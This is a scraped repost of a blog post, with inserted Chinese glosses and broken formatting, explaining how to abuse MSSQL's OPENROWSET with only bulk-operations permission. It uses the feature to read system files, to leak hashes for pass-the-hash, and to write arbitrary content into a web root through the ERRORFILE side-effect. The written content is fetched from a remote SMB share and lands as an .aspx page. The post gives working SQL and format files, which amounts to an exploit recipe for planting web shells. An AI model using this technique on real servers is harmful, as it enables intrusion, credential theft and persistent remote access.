当前位置:Gxlcms >
数据库问题 >
ReadingWriting files with MSSQL's OPENROWSET
ReadingWriting files with MSSQL's OPENROWSET
时间:2021-07-01 10:21:17
帮助过:5人阅读
‘s SQL dialect Transact-SQL does not support reading and writing files in an easy way as opposed to MySQL‘s LOAD_FILE() function and INTO OUTFILEclause.Of course, with xp_cmdshell being enabled, you can read and write files using OS commands. However, one is not always blessed with the CONTROL SERVER permission, which is generally only granted with the sysadmin role. But if you happen to have the ADMINISTER BULK OPERATIONS permission (implied by the bulkadmin role), then OPENROWSET is a viable option for both reading and writing files.Granted, using OPENROWSET for reading and writing files is nothing new. However, all examples for writing files that I have seen so far [到目前为止]require the access to remote OLE DB providers being enabled, which is controlled by the ad hoc distributed queries configuration option, which is disabled by default. And changing and reconfiguring any configuration option requires ALTER SETTINGS permissions (implied by the sysadmin and serveradmin roles), which are not always available. And, well, in case of the sysadmin role, you could just as well use xp_cmdshell.So the technique for writing files demonstrated here is a little different as it exploits a side-effect of OPENROWSET, which just requires ADMINISTER BULK OPERATIONS permission. It also does not require any temporary table or whatsoever; everything can be performed in a sub-query.CHECKING PREREQUISITES
[先决条件]For looking up whether the
current user has ADMINISTER
BULK OPERATIONS
permissions, you can
use the HAS_PERMS_BY_NAME()
function:
1 SELECT HAS_PERMS_BY_NAME(
null,
null,
‘ADMINISTER BULK OPERATIONS‘)
The the result should be
1.
READING FILES
Reading a
file is pretty straight forward.
When OPENROWSET is referenced
in the
FROM clause, it allows reading
from the given
file through a built
-in BULK [容量]provider
and returns it
as a rowset. The following
SELECT reads the C:\Windows\win.ini
file and returns a rowset
of one
single character LOB:
SELECT BulkColumn
FROM OPENROWSET(
BULK ‘C:\Windows\win.ini‘,
SINGLE_CLOB
) t
This,
of course, can also be used
to leak
[泄露]hashes
for pass
-the
-hash.
WRITING FILES
Writing
to a
file is a little more difficult. The common approach
with OPENROWSET only is calling an external OLE DB provider. But this generally requires ad hoc
distributed queries being enabled
and has certain caveats
[警告]like restriction
[限制]to certain output formats depending
on the selected OLE DB provider (e. g., CSV), previous existence
of the output
file, registration
of linked servers, etc.
However, there
is a way
of writing arbitrary data
to an arbitrary
file without
any of these restrictions
or prerequisites
by exploiting a side
-effect
of OPENROWSET.
The feature that
is being exploited
is the error reporting feature. The reference states the purpose
of the ERRORFILE argument
as follows:
ERRORFILE
= ‘file_name‘Specifies the
file used
to collect rows that have formatting errors
and cannot be converted
to an OLE DB rowset. These rows are copied
into this error
file from the data
file "
as is."
So
any erroneous
[错误的]record
from the input
is directly written
to the given error
file as is.
The following
SELECT reads
from \\
192.168.
13.37\share\input.txt
with the format specified
in \\
192.168.
13.37\share\input.fmt
and writes
to C:\Inetpub\wwwroot\hello.aspx:
SELECT BulkColumn
FROM OPENROWSET(
BULK ‘txt‘,
FORMATFILE
=‘\\192.168.13.37\share\input.fmt‘,
CODEPAGE
=‘RAW‘,
ERRORFILE
=‘C:\Inetpub\wwwroot\hello.aspx‘) t
The input
file input.txt has the following contents:
<%="Hello, World!"
%>The non
-XML format
file[https://msdn.microsoft.com/en-us/library/ms191479.aspx] input.fmt specifies one
single column named BulkColumn
of typeCHAR
with the length
of 1 character (fourth
column)
and the last
character in our input
file (i. e.,
>)
as terminator:
9.011 SQLCHAR
0 1 "
>"
1 BulkColumn ""
Since we specified the length
with just one byte, a truncation error occurs
and the whole record up
to and including the final terminator (i. e.,
>) gets written
to the error
file:
Msg
4863,
Level 16, State
1, Line
1Bulk load data conversion error (truncation)
for row
1,
column 1 (BulkColumn).
For binary files, the XML format seems
to be better
as you can specify the length
for both the field input
and the
column output
and don
‘t need a terminator. The following format file input.xmlallows writing binary data up to 512 kB:
<?xml version="1.0"?>
<BCPFORMAT xmlns="http://schemas.microsoft.com/sqlserver/2004/bulkload/format" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<RECORD>
<FIELD ID="1" xsi:type="CharFixed" LENGTH="1234567890"/>
</RECORD>
<ROW>
<COLUMN SOURCE="1" NAME="BulkColumn" xsi:type="SQLVARYBIN" LENGTH="1234567890"/>
</ROW>
</BCPFORMAT>
The length seems to be irrelevant [无关精要的]and it certainly raises a data conversion error due to the binary data, resulting in writing the entire data to the error file. ReadingWriting files with MSSQL's OPENROWSET
标签: